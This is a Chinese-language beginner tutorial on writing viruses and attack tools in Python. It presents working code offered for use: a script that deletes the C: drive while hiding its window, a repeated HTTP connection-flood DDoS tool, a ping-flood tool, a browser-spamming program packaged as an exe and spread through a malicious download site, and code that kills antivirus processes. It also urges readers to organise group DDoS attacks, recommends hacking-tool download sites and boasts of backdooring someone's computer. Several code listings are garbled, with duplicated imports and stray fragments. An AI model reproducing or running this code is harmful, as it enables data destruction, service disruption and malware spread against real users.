基礎篇
什麼是病毒
病毒，指的是一些通過非法手段獲取系統的一些權限，然後進行破壞或者盜取。
病毒分為兩類：
1、破壞型
這類病毒往往會將系統弄的亂七八糟，比如把你的U盤刪光，把你的系統背景調成黑客圖片，把你的桌面全部變成某個圖標…
這些病毒一般比較明顯，所以，殺毒軟件一般比較容易查殺，但是，下面這種就不一樣了。
2、非破壞型
非破壞型病毒不會把你的系統怎麼樣，也不會刪除你的文件和修改你的個性化操作，他們只有一個目的：盜取文件或讓它們的主人進入你的計算機。例如最典型的灰鴿子，就是讓黑客進行連接，然後控制你的電腦。冰河也是一樣。還有一種ftp木馬，它們的目的就是打開21端口，等待黑客連接。
安裝編程環境：Python3.7 IDE
在編寫程序進行黑客攻擊和病毒編寫之前，我們得先安裝我們的編程環境：Python3.7 IDE
從網絡上下載：Python3.7 IDE
接著，雙擊它，按照安裝嚮導完成安裝。
啟動
在Windows搜索欄中搜索：Python
會顯示出：
打開它！
打造攻擊目標：VMware虛擬機
我們現在還沒有一個攻擊目標，因為我們現在不能攻擊別人的電腦，否則，你就是駭客了。
那麼，我們只有安裝VMware虛擬機了。
安裝VMware Workstation player
（注：此處不細說，因為版本不一，安裝不一樣）
打開！
然後，請下載Windows 7 原生純淨鏡像，可以百度“我告訴你”，點擊第二個，下載Windows7。
新建虛擬機
點擊“創建新虛擬機”
點擊“下一步”
這裡需要輸入Windows7的密鑰，按圖中輸入。
下一步：
下一步：
我們已經完成了VMware Workstation 虛擬機的配置，現在我們啟動它：
在這段時間內，計算機（虛擬機）會重啟數次，最終完成安裝。
安裝成功後即可開始使用Windows 7 ，並且可以向它發起猛烈的攻擊了。
Windows7是微軟（Microsoft）的傑出產品之一，但可惜的是它還是被更優秀的Windows10取代。在2015年，微軟（Microsoft）正式宣佈不再支持Windows7，也就意味著，不會再有新的更新給使用Windows7的用戶了。
啟動成功！我們可以在這臺Windows上工作，並且也可以攻擊它了！
編寫經典程序——Hello，World！
打開Python，點擊File，New。
在彈出的窗口中輸入：
print('Hello, World!')
1
點擊Run，最後一個選項，查看結果。
顯示：
Hello, World!
1
這表示IDE程序可用，也表示，你已經成為一名程序員了！
測試網絡的PING
PING程序是Microsoft（微軟公司）為Windows用戶準備的網絡檢測程序，使用他，可以幫你查看網絡狀態和網絡是否可訪問。
鍵擊“windows鍵+R”，打開運行窗口，輸入cmd，回車，即可打開終端窗口。在這裡，你可以做很多一般人做不到的事情。
在終端裡輸入ping/?,查看詳細用法。
常用指令：
PING -t ip
注：這樣可以PING指定的IP到永遠，除非你停止它。很多初級黑客喜歡用這個參數來進行網絡堵塞的攻擊。
PING -l 大小 ip
注：這樣可以設置發送包大小
PING -n 次數 ip
注：這樣可以設置次數。
試試對baidu.com進行PING指令
打開終端，輸入PING -n 10 -l 10 baidu.com
(此命令必須在Windows 8以上才可以運行，Windows 7部分版本不支持PING網頁)
我們檢測到我們可以連接到baidu.com，說明我們的網絡是可用的。
TCP\IP協議
TCP/IP協議能夠迅速發展起來併成為事實上的標準，是它恰好適應了世界範圍內數據通信的需要。它有以下特點：
（1）協議標準是完全開放的，可以供用戶免費使用，並且獨立於特定的計算機硬件與操作系統。
（2）獨立於網絡硬件系統，可以運行在廣域網，更適合於互聯網。
（3）網絡地址統一分配，網絡中每一設備和終端都具有一個唯一地址。
（4）高層協議標準化，可以提供多種多樣可靠網絡服務。
黑客入門的操作命令
1、“肉雞”
“肉雞”有點類似牽線木偶，是指可以被黑客神不知鬼不覺地遠程控制的電腦或者大型服務器。不論什麼系統都有可能淪為“肉雞”。
2、“木馬”
“木馬”是一種在運行後可以得到系統的控制權的程序。拿網頁木馬舉例，主要是利用瀏覽器的漏洞把網頁木馬搞到瀏覽器訪問者本地上，然後自動執行的。
3、“後門”
黑客在通過某種手段成功控制目標主機之後，搞到系統的訪問權限。訪問系統後通過系統漏洞得到root權限，再安裝rootkit，就可以較長時間地控制該目標主機。
4、“弱口令”
弱口令的安全強度不高，易於被猜到破解的密碼，比如123456、654321。
5、“溢出”
“溢出”一般指的是緩衝區溢出。說白了，就是程序沒有進行有效地監測，導致輸入的數據沒執行。這樣的程序和沒有執行的數據越來越多，最後程序會解體，也有可能錯誤地執行黑客的命令。
6、“花指令”
“花指令”是用匯編語言寫成的，導致殺毒軟件無法對病毒進行合理地判斷。因為殺毒軟件有順序規則，就是從頭到尾來查殺病毒。而一旦病毒的頭尾順序不對，殺毒軟件就歇菜了。
7、“免殺”
“免殺”，顧名思義，就是免去殺毒軟件的查殺。使用一些技術把程序進行修改，這些技術主要有加殼、加密、加花指令等。
8、“加殼”
“加殼”的目的主要有壓縮文件、將程序編碼加密、免殺等，主要通過一些不一般的算法改變可執行程序或者DLL動態鏈接庫文件的編碼。
9、“Shell”
“Shell”是一種程序或者命令的執行環境。比如，一般用遠程溢出程序後，可以成功控制遠程電腦，在該電腦執行系統命令的環境就是“Shell”。
Python編寫基本程序
Python是一個強大的語言，它十分簡潔，但是十分有用。
在此書編寫時，Python3.7.3已經算較新的版本了，所以如果想和本書同步，請安裝Python3.7.3
編程，就是指用一段計算機能聽懂的話讓計算機去幫你做事情，這就叫編程。
我們已經學會了“Hello,World!”的編寫，現在，我們來編寫一個簡單的登錄系統，我們在後期，會將它改裝成一個盜取密碼的病毒。
登錄.py
from tkinter import *
from tkinter import ttk
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import datetime
import tkinter as tk
import tkinter.messagebox
from os import path
from subprocess import Popen, PIPE
from tkinter import *
from tkinter import ttk
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import webbrowser
try :
window=tk.Tk()
window.title('歡迎使用Windows高級功能！')
window.geometry('450x300')
#畫布放置圖片
canvas=tk.Canvas(window,height=300,width=500)
imagefile=tk.PhotoImage(file='Hello.png')
image=canvas.create_image(0,0,anchor='nw',image=imagefile)
canvas.pack(side='top')
#標籤 用戶名密碼
tk.Label(window,text='用戶名:').place(x=100,y=150)
tk.Label(window,text='密碼:').place(x=100,y=190)
#用戶名輸入框
var_usr_name=tk.StringVar()
entry_usr_name=tk.Entry(window,textvariable=var_usr_name)
entry_usr_name.place(x=160,y=150)
#密碼輸入框
var_usr_pwd=tk.StringVar()
entry_usr_pwd=tk.Entry(window,textvariable=var_usr_pwd,show='*')
entry_usr_pwd.place(x=160,y=190)
#登錄函數
def usr_log_in():
#輸入框獲取用戶名密碼
usr_name=var_usr_name.get()
usr_pwd=var_usr_pwd.get()
#從本地字典獲取用戶信息，如果沒有則新建本地數據庫
try:
with open('usr_info.pickle','rb') as usr_file:
usrs_info=pickle.load(usr_file)
except FileNotFoundError:
with open('usr_info.pickle','wb') as usr_file:
usrs_info={'admin':'admin'}
pickle.dump(usrs_info,usr_file)
#判斷用戶名和密碼是否匹配
if usr_name in usrs_info:
if usr_pwd == usrs_info[usr_name]:
tk.messagebox.showinfo(title='welcome',
message='歡迎您：'+usr_name)
else:
tk.messagebox.showerror(message='密碼錯誤')
#用戶名密碼不能為空
elif usr_name=='' or usr_pwd=='' :
tk.messagebox.showerror(message='用戶名或密碼為空')
#不在數據庫中彈出是否註冊的框
else:
is_signup=tk.messagebox.askyesno('歡迎','您還沒有註冊，是否現在註冊')
if is_signup:
usr_sign_up()
#註冊函數
def usr_sign_up():
#確認註冊時的相應函數
def signtowcg():
#獲取輸入框內的內容
nn=new_name.get()
np=new_pwd.get()
npf=new_pwd_confirm.get()
#本地加載已有用戶信息,如果沒有則已有用戶信息為空
try:
with open('usr_info.pickle','rb') as usr_file:
exist_usr_info=pickle.load(usr_file)
except FileNotFoundError:
exist_usr_info={}
#檢查用戶名存在、密碼為空、密碼前後不一致
if nn in exist_usr_info:
tk.messagebox.showerror('錯誤','用戶名已存在')
elif np =='' or nn=='':
tk.messagebox.showerror('錯誤','用戶名或密碼為空')
elif np !=npf:
tk.messagebox.showerror('錯誤','密碼前後不一致')
#註冊信息沒有問題則將用戶名密碼寫入數據庫
else:
exist_usr_info[nn]=np
with open('usr_info.pickle','wb') as usr_file:
pickle.dump(exist_usr_info,usr_file)
tk.messagebox.showinfo('歡迎','註冊成功')
#註冊成功關閉註冊框
window_sign_up.destroy()
#新建註冊界面
window_sign_up=tk.Toplevel(window)
window_sign_up.geometry('350x200')
window_sign_up.title('註冊')
#用戶名變量及標籤、輸入框
new_name=tk.StringVar()
tk.Label(window_sign_up,text='用戶名：').place(x=10,y=10)
tk.Entry(window_sign_up,textvariable=new_name).place(x=150,y=10)
#密碼變量及標籤、輸入框
new_pwd=tk.StringVar()
tk.Label(window_sign_up,text='請輸入密碼：').place(x=10,y=50)
tk.Entry(window_sign_up,textvariable=new_pwd,show='*').place(x=150,y=50)
#重複密碼變量及標籤、輸入框
new_pwd_confirm=tk.StringVar()
tk.Label(window_sign_up,text='請再次輸入密碼：').place(x=10,y=90)
tk.Entry(window_sign_up,textvariable=new_pwd_confirm,show='*').place(x=150,y=90)
#確認註冊按鈕及位置
bt_confirm_sign_up=tk.Button(window_sign_up,text='確認註冊',
command=signtowcg)
bt_confirm_sign_up.place(x=150,y=130)
#退出的函數
def usr_sign_quit():
try :
window.destroy()
except :
pass
#登錄 註冊按鈕
bt_login=tk.Button(window,text='登錄',command=usr_log_in)
bt_login.place(x=140,y=230)
bt_logup=tk.Button(window,text='註冊',command=usr_sign_up)
bt_logup.place(x=210,y=230)
bt_logquit=tk.Button(window,text='退出',command=usr_sign_quit)
bt_logquit.place(x=280,y=230)
#主循環
window.mainloop()
# -*-coding:utf-8-*
import socket
import threading
import Queue
import time
except :
pass
這段代碼會讓用戶輸入用戶名和密碼，並且進行登錄。
木馬程序的編寫
在本章，我們將正式開始木馬的編寫。
用Python寫木馬，其實很簡單。
下面是我例舉的一個破壞型木馬的代碼：
Delete.py
import tkinter as tk
import tkinter.messagebox
import subprocess
import time
from os import path
from subprocess import Popen, PIPE
from tkinter import *
from tkinter import ttk
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import datetime
import os
import sys
import subprocess
ret = subprocess.call("del C:\ ", shell=True)
window=tk.Tk()
window.withdraw()
window.mainloop()
他其實很簡單，但是，卻又讓一些很基礎的用戶受騙。
很多人在電腦彈出窗口提示時都喜歡點擊“是”“確認”“好”，但是，可能就因為這樣，你的C:\被刪除了。這意味著，你失去了系統盤！
破壞型木馬很好編寫，我們在前期都在編寫破壞型木馬和病毒，所以都比較簡單。
Python之外，課外擴展
GoC繪圖語言
這種語言主要功能是繪圖，是編程新人的不二選擇——因為它的代碼太簡單了！
打開GoC
輸入以下代碼：
int main()
{
p.fd(100);
p.rt(90);
p.fd(100);
p.rt(90);
p.fd(100);
p.rt(90);
p.fd(100);
p.rt(90);
return 0;
}
運行：
C++/C
這些語言想必大家都比較清楚，在這裡就不多介紹。
如果對這些語言有興趣，可以去學習。
在Dev-C++（初學者編程環境）中創建新文件，輸入以下代碼：
#include
using namespace std;
int main()
{
cout<
return 0;
}
運行後，顯示：
Hello，World！
1
初級篇
在這一篇，你將成為一名黑客……
Python編寫DDoS攻擊程序
下面，你可以把代碼複製到你的Python上，然後運行，試試效果。
DDoS.py
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=20000
PORT=80
HOST=""#在雙引號裡輸入對方IP或域名，要保證他聯網了或開機了.
PAGE="/index.php"
#---------------------------
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
socks=[]
def conn_thread():
global socks
for i in range(0,MAX_CONN):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((HOST,PORT))
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
socks.append(s)
except Exception as ex:
print ("Could not connect to server or send error:%s"%ex)
time.sleep(0.1)
#end def
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("f".encode())
#print "send OK!"
except Exception as ex:
print ("Send Exception:%s\n"%ex)
socks.remove(s)
s.close()
time.sleep(0.1)
#end def
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
conn_th.start()
send_th.start()
在指定位置輸入你要攻擊的IP或網址，運行，就可以進行攻擊了。
運用PING程序進行網絡堵塞攻擊
前面說過，PING程序可能會使網絡堵塞，所以，我們根據這個原理編寫了一個攻擊程序。
網絡堵塞.py
import os
import socket
import time
ip = input("請輸入IP：")
os.system("ping -t -l 50 " + ip)
運行程序，輸入IP，就可以等待指定主機網絡堵塞了。
連接對方的計算機
我們可以使用“telnet”命令來進行遠程終端的連接。
打開終端窗口，輸入telnet/?，查看用法：
輸入 telnet HOST POST,可以進行連接，這裡以baidu.com為例：
這裡已經成功連接，正在加載。
運用它可以連接遠程主機，實現遠程操控。
運用ftp來進行文件傳輸
ftp是一種協議，也是一種指令，用它，可以進行文件傳輸。
打開終端，輸入：
可以根據這些指令進行文件的傳輸。
有一些殺毒軟件（例如：金山毒霸、趨勢科技）會進行阻止，因為它們都會自我防護，防止未知木馬下載到計算機上。
copy
運行copy程序，可以讓它幫你複製文件，你可以在病毒中添加這個程序，讓無知的計算機幫你複製病毒程序。
打開終端窗口，輸入copy/?：
根據help，我們來編寫一個可以複製某個程序的病毒：
import sys
import tkinter as tk
import tkinter.messagebox
import subprocess
import time
from os import path
from subprocess import Popen, PIPE
from tkinter import *
from tkinter import ttk
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import datetime
import os
import sys
import subprocess
os.system("copy 路徑 路徑 ")
這是一個簡單的程序，但在後期，卻非常有用！
運用socket模塊
在上個小節，有個DDoS攻擊程序，這個程序裡調用了一個模塊：socket
這個模塊是個很棒的插件，它可以幫你進行連接，就像一個可以幫你插電線的電工。
調用socket模塊
#調用socket
import socket
print("Hello,socket!")
Hacker(黑客)軟件（篇）
黑客軟件是一些黑客高手做的軟件，這些軟件可以簡化攻擊成本和難度，是很多黑客的不二之選。
但是今天，我們不來下別人的黑客軟件，咱們來做自己的黑客軟件！
黑客軟件製作
1、網絡堵塞工具 V1.0
開始想它的呈現方式：
1、終端形式
2、窗口形式
這裡，我們來做終端形式。
輸入代碼：
import tkinter as tk
import tkinter.messagebox
import pickle
import pickle
import tkinter as tk
import tkinter.messagebox
import subprocess
import time
from os import path
from subprocess import Popen, PIPE
from tkinter import *
from tkinter import ttk
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import datetime
import tkinter as tk
import tkinter.messagebox
from os import path
from subprocess import Popen, PIPE
from tkinter import *
from tkinter import ttk
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import webbrowser
def input_cd():
cd = input("請輸入指令>>")
if cd == "1":
ping()
if cd == "2":
print('此功能暫不可用')
input_cd()
def ping():
host = input("請輸入對方IP:")
qiangdu = input("請輸入強度(1-65500):")
os.system("ping -t -l " + qiangdu + " " + host)
logo = """
┏━━━━━━━━━━━━━━━━━━━━━━━━━━┒
┃網絡堵塞工具 V1.0||||||||||┃
┃|||||網絡堵塞工具，選這款！|┃
┖━━━━━━━━━━━━━━━━━━━━━━━━━━┛
[]|[]|[][]|[][][][]|[][][]|[][]tiantian520ttjs所有——
"""
print(logo)
print('[][使用指南][]')
print('1、ping \n2、ddos(正在編寫)')
input_cd()
此程序可完成一個簡易的攻擊工具，你可以對它進行修改，讓別的用戶使用它。
2、DDoS攻擊工具
輸入代碼：
import socket
import time
import threading
#Pressure Test,ddos tool
print('歡迎使用DDoS攻擊工具!')
#---------------------------
MAX_CONN=20000
PORT=80
HOST=input("請輸入網址或IP:")
PAGE="/index.php"
#---------------------------
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
socks=[]
def conn_thread():
global socks
for i in range(0,MAX_CONN):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((HOST,PORT))
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
socks.append(s)
except Exception as ex:
print ("Could not connect to server or send error:%s"%ex)
time.sleep(0.1)
#end def
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("f".encode())
#print "send OK!"
except Exception as ex:
print ("Send Exception:%s\n"%ex)
socks.remove(s)
s.close()
time.sleep(0.1)
#end def
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
conn_th.start()
send_th.start()
它將成為一件出色的軟件，你也可以對它進行修改，我貢獻在書上的代碼，沒有版權。
學習並使用別人的黑客軟件
當然，黑客高手們做的軟件自然比我們好的多。那麼，我們該如何去下載那些軟件呢？
首先，在下載黑客軟件時，要注意防病毒。因為很可能這個軟件是被捆綁了病毒的惡意程序！
下面，為大家展示幾款軟件的安裝：
1、SQL tools
訪問https://sourceforge.net/projects/sqlt/postdownload進行下載：
同意協議：
選擇路徑：
下一步：
開始安裝：
點擊Close，結束安裝
（注：在安裝之前，請務必安裝Java，這是程序的必備用品。最低版本必須要Java 8）
在這裡，你可以進行高級的攻擊。但是，在這裡就暫時不介紹了。
2、ComputerKiller
訪問：hackersdld.icoc.vc
這裡有很多黑客軟件，在後期，會很有用。
點擊ComputerKiller 1.9.3，進行下載。
下載完成後打開壓縮包，雙擊exe程序即可。
運用代碼和一些工具來查看對方是否可被攻擊
例如：我要入侵一臺計算機，已知參數：
MAC：00:50:56:38:6F:C3
IP：192.168.132.132
用戶名：Administrator
先打開終端窗口，輸入PING 192.168.132.132,查看對方狀態。
這樣，說明對方是可以上網、並且是可用的。
再發現，TTL值為128，如不更改，128TTL應為Windows 7 系統。我們就又獲得了一項線索：
OS：Windows 7
接著，我們用DDoS攻擊器攻擊對方：
對方沒有反應！說明，對方的網絡不是可以正常使用的，但是，它有一個IP地址與MAC地址！
那我們只有通過別的辦法對它進行攻擊和入侵了。
打開終端，輸入telnet 192.168.132.132 23
發現，也是無法連接！！！
我們再進行測試，如果還是無法進行連接，說明，對方處於NAT網絡模式！（注：NAT網絡模式就是指只有IP，但不能上網和被連接）
打開遠程桌面連接，輸入IP連接後發現：
說明對方處於確確實實的NAT狀態！這臺計算機就不可以被攻擊，因為它沒有和intelnet進行連接！相當於沒有一個可以聽聲音的耳朵！
黑客軟件使用的要點
黑客軟件雖然好用，但是，不好下載。
在網上，有很多軟件都帶有病毒，我下載的一些黑客軟件就有，病毒名稱：
BKDR_AGENT.AHZU 後門
TROJ_GEN.R002C0PKF19木馬
TROJ_GEN.R03FC0PGN19木馬
所以，在網上一定要小心這些捆綁了病毒的軟件，可能你就會有一天被黑客劫持！
推薦大家到這幾個站點去下載黑客軟件：
hackersdld.icoc.vc(黑客軟件下載)
www.netxeyes.com(小榕主頁)
以上就是本章的內容，在下一章，我們將進行更深入的攻擊學習，代碼攻擊將成為重點。
本章課外
最近，小編髮現個很搞笑的計算機。這個計算機已被我裝上後門，冰河也裝上了。我看它桌面的時候，它的桌面是這樣的：
滿桌面都是罵人的話…
我給它留下一個txt：
接著呢，我又給它重裝了個系統，爽啊！
（本段告訴我們：黑客技術不一定是惡意技術！）
中級篇
print("Hello,Users!")
name = input("What's your name?")
print("Oh,Nice to meet you," + name + "!")
這樣的簡單到不能再簡單的程序，大家想必已經可以看懂了。那麼這一篇，我們就來深度學習代碼編程，通過編程的學習，來進行後期木馬和病毒的編寫。
不知道大家有沒有聽說過有一種程序，通過不斷打開網頁進行加載來導致計算機卡頓。這也是一種病毒。
我們本章也來教大家編寫這一類的病毒，並且教大家如何進行傳播。
本章我們還會了解到凡科建站，這是一個很厲害的建站程序。可以讓你不用碼代碼就進行網站搭建。我們通過這個功能來建造我們自己的主頁，然後像黑客小榕那樣發佈我們的黑客軟件。當然，我們也可以做一些惡意網站，這樣就可以得到很好的效果。
凡科建站
百度搜索：凡科建站，註冊一個賬號，接著，我們來建造我們的主頁。
這裡我已經開過站點了，如果大家不會創建，可以百度搜索。
進入後，可以按照新手指南來創作自己的主頁。
我的主頁如下：
用網頁來傳播病毒
我們可以在建造的網站上讓用戶下載病毒，這樣可以得到很有效的效果。我編寫的病毒如下：
import webbrowser
import tkinter.messagebox
while 1:
webbrowser.open("baidu.com")
tk.messagebox.showerror('Windows錯誤','Windows被不明程序劫持，正在嘗試自救......')
代碼效果：
此處還沒截圖到messagebox就死機了，因為刷的太厲害了。
我們可以把這個病毒打包後傳播到網上，雖然只是一個很簡單的小程序。
我用百度網盤創建了一個分享鏈接，用凡科建站做了一個網頁，可以下載這個病毒。
但是，我們還沒有給它編譯為exe程序，所以，我們要下載pyinstaller，進行編譯。
自己作一幅畫，接著將它轉換為ico格式，當做應用圖標。
在命令行（終端）輸入：
pyintaller -F -w -i 圖片路徑 文件路徑
打包完後，會在dist目錄下出現exe程序，並且build裡會有配置文件。
創建一個新的文件夾，將配置文件和exe程序放入，然後打包為zip/rar/7z壓縮文件，上傳到百度網盤，鏈接為：https://pan.baidu.com/s/1t2c_fZiijR-QpXs7jANj0Q，接著進入凡科建站，做一個惡意網站：
這個惡意網站可以讓別人下載這個惡意病毒，是傳播的途徑。
對網站進行攻擊
網站攻擊一般都是SQL數據庫注入、DNS欺騙、DDoS攻擊等。SQL注入和DNS欺騙對我們來說暫時太難，我們先從DDoS啟。
在前面，我們已經說明了和介紹了DDoS攻擊的原理和代碼，在本節，我們將對這個腳本進行改造，讓它變成一個強大的黑客軟件——DDoS:ME
回顧
先回顧一下之前的腳本代碼，我們是用了socket模塊進行不斷髮送連接請求來實現的。其中，較關鍵的關鍵字有：
while 1:
import socket
Host = ""
......
這些都是腳本的重點，如果丟掉While，那你的腳本只會執行一次。如果丟掉import，那麼將會出錯。如果丟掉Host，那麼，你的腳本將沒有目標…
回顧一下之前的代碼，試著嘗試解決以下問題和建議：
1、如何讓攻擊強度變大？
2、可以將socket模塊換成其他嗎？
組織一場龐大的DDoS攻擊
真正的高級攻擊都不是一個人完成的。都是在肉雞（傀儡機）和隊友的幫助下完成的。你不妨組織一個黑客聯盟，一起來進行黑客技術的研究。
本節，我們就來教大家組織一場龐大的DDoS攻擊，並且教大家如何進行攻擊。
組織
組織，一個包含了深意的名詞。有了組織，我們就可以更加強大。
本小節，我們就來進行組織。
1、創建組織
你可以邀請你的朋友加入我們的行列，並要它閱讀這本書裡的引子和介紹。接著，你可以在QQ或WeChat裡組織一個團體，可以取一個有意義的名字。例如：
Hello,Hackers!
Hacker men
計算機殺手們
黑客軍團
黑客帝國
這些都是一些有趣的名字，你可以採取點意見。
接著，你可以將自己的成果與大家共享，再收穫別人的成果。用一段有趣的話來說：化學罐車碰油罐車，火花才激烈！
2、加入組織
你可以加入任何的組織，只要它願意。加入後，你可以像上一小節那樣，一起來交流。
如遇到讓你很感興趣的話題，你可以向發佈人詢問代碼，Python社區都十分友好，Hackers社區就更別說了——一家人，難道還不友好嗎？
攻擊
組織之後，例如我的團隊現在有8個人，分別是：
C++
Java
Python(Me)
我們就可以進行合作，例如：
C++進行偵查，看看網站有什麼狀況
Java進行本地網絡檢查，看看有沒有被人發現並試圖連接
Python(Me)、1、2、3、4、5進行攻擊，努力取得勝利。
這樣，隊伍就會變得十分團結。
那麼，我就以我自己的網站為例，進行攻擊。
我的團隊共有3個人，分別為：1、2、Me
1進行攻擊
2進行探查
Me進行攻擊
2探查到了：
網站的分享功能因流量不足被關閉了。
1和Me在攻擊：
import socket
import time
......
這樣的話，這個網站很快就因流量崩潰而無法訪問：
DDoS攻擊軟件的製作
把腳本變成攻擊軟件，這也許會比較好。別的人可以更好的進行使用。
我們先打開DDoS攻擊腳本，代碼如下：
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=20000
PORT=80
HOST=""#在雙引號裡輸入對方IP或域名，要保證他聯網了或開機了.
PAGE="/index.php"
#---------------------------
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
socks=[]
def conn_thread():
global socks
for i in range(0,MAX_CONN):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((HOST,PORT))
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
socks.append(s)
except Exception as ex:
print ("Could not connect to server or send error:%s"%ex)
time.sleep(0.1)
#end def
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("f".encode())
#print "send OK!"
except Exception as ex:
print ("Send Exception:%s\n"%ex)
socks.remove(s)
s.close()
time.sleep(0.1)
#end def
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
conn_th.start()
send_th.start()
我們第一步就是給它加上標題和IP輸入區，那麼，將代碼修改成這樣：
import socket
import time
import threading
#Pressure Test,ddos tool
print("歡迎使用DDoS:ME!")
HOST = input("DDoS:ME請求您輸入IP:")
#---------------------------
MAX_CONN=20000
PORT=80
PAGE="/index.php"
#---------------------------
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
socks=[]
def conn_thread():
global socks
for i in range(0,MAX_CONN):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((HOST,PORT))
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
socks.append(s)
except Exception as ex:
print ("Could not connect to server or send error:%s"%ex)
time.sleep(0.1)
#end def
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("f".encode())
#print "send OK!"
except Exception as ex:
print ("Send Exception:%s\n"%ex)
socks.remove(s)
s.close()
time.sleep(0.1)
#end def
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
conn_th.start()
send_th.start()
這樣，就成為一個簡易的攻擊軟件了。
不過，我們還得繼續改進。
本次改進就當做本小節的挑戰了，希望經過那麼久的學習，你可以完成這個挑戰。
挑戰
1、將本節的DDoS攻擊器進行改造，成為一個完美的攻擊器。
2、讓這段代碼的威力更厲害點兒
網站攻擊要點
在本書中，不會教大家如何進行DNS欺騙和別的攻擊。因為這些知識很難，比DDoS難得多。但是，在本書，我們會將病毒研發延伸到我的終點——我會貢獻我所有可以貢獻的知識。
在攻擊時，一定不要忘記自己的身份：
我是一名黑客
既然你是黑客，那就不該做壞事。如果不小心對人家造成了損失，那就成駭客了。
Python3.7編程學習
在中級篇裡，我們還要學習如何編程。這樣有助於我們偽裝我們的程序。例如我通過編程來做一個DDoS攻擊器，然後讓其他人下載。接著，再讓你編寫的病毒運行，就可以將別人一網打盡了。
輸入和輸出
在IDE中輸入和輸出，我們可以利用print()和input()來完成。這兩個都是Python自帶的函數，我們可以隨心所欲的用它，並且不用定義。
輸出
輸出是指將信息顯示出來，這就是輸出。
代碼例子：
print("Hello, World!")
1
輸入
輸入是指讓使用的用戶進行鍵盤敲擊，從而進行錄入。
代碼例子：
name = input("What's your name?")
1
這兩個模塊都十分重要，要務必記住它們。
計算
讓Python幫你計算，其實十分簡單。
你可以根據下列代碼進行分析和學習：
1+1 #加法
2-1 #減
3*3 #乘
9/3 #除以
10%3 #模
函數
我們可以通過定義函數來解決總是一樣的代碼。
代碼例子:
def print_a():
print("a")
1
2
循環
循環有兩種，一個是For,一個是While。
這些都是循環，只是方式不同。
代碼例子:
#while
while 1:
print("010101001010100101010")
#For
for word in ["You","are","cool!"]:
print(word)
判斷
在Python中，我們用if組語句來判斷。在本書中，我們只學習if、else兩個語句。
代碼例子：
age = 10
if age == 10:
print("你滿十歲啦！")
else :
print("NO！你沒有十歲！")
程序例子學習
1、你幾歲了？
age = input("你幾歲了?")
if age == "18":
print("你剛好成年!")
else :
print("你不是18歲，你可能未成年!")
2、我會機器語言
while 1:
print("010010101010010101010101010101000101010101010101001010101001010010100101010110010101011111111111111101101010101")
1
2
高級篇
在這一篇裡，你將學習編寫高級病毒。這些高級病毒十分厲害，最好在虛擬機中查看結果。
我的虛擬機因為無法連接網絡，所以在這裡我就不做注入演示。
在本章，我們將完成大部分的典型病毒，準備好了嗎？
在這之前，我們還要為所有的病毒編寫一個必要的程序：
後臺運行和免殺
後臺運行
在病毒代碼的末端加入如下代碼：
window=tk.Tk()
window.withdraw()
window.mainloop()
1
2
3
這樣，你就可以讓你的病毒在後臺運行了。
免殺
我們通過編寫代碼來實現病毒免殺。
我們可以通過打亂病毒特徵碼來進行，也可以編寫“花指令”。
在這裡，我們將用到一個新的知識點——欺騙。
“花指令”在前面的篇章裡說過，就是編寫一段不是病毒源代碼的代碼，來欺騙殺毒軟件。
這裡，這個病毒也叫“程序殺手木馬”。
我們通過代碼來實現“程序殺手木馬”，來保護我們的病毒可以正常運行。
我們先看看如下代碼：
os.system(r'taskkill /F /IM 進程名')
1
這段代碼實現了停止某個進程，那麼，我們這裡以金山毒霸為例，來關閉金山毒霸。
首先，金山毒霸的文件名為：
kxetray.exe
我們將剛才的代碼改一下：
import os
os.system(r'taskkill /F /IM kxetray.exe')
time.sleep(5)
window=tk.Tk()
window.withdraw()
window.mainloop()
FTP病毒
ftp病毒的作用就是打開21端口，等待連接。但如果對方打開了ftp，那麼，這個病毒就不必要了。
因為大部分用戶都開啟了21端口，所以這個病毒跳過。
斷網病毒
斷網病毒的原理就是關閉Windows網絡服務，使其斷網。並且還會進行網絡堵塞。為了騙過用戶，我們仿造了Windows漏洞修復程序，其內容簡單，代碼如下：
import os
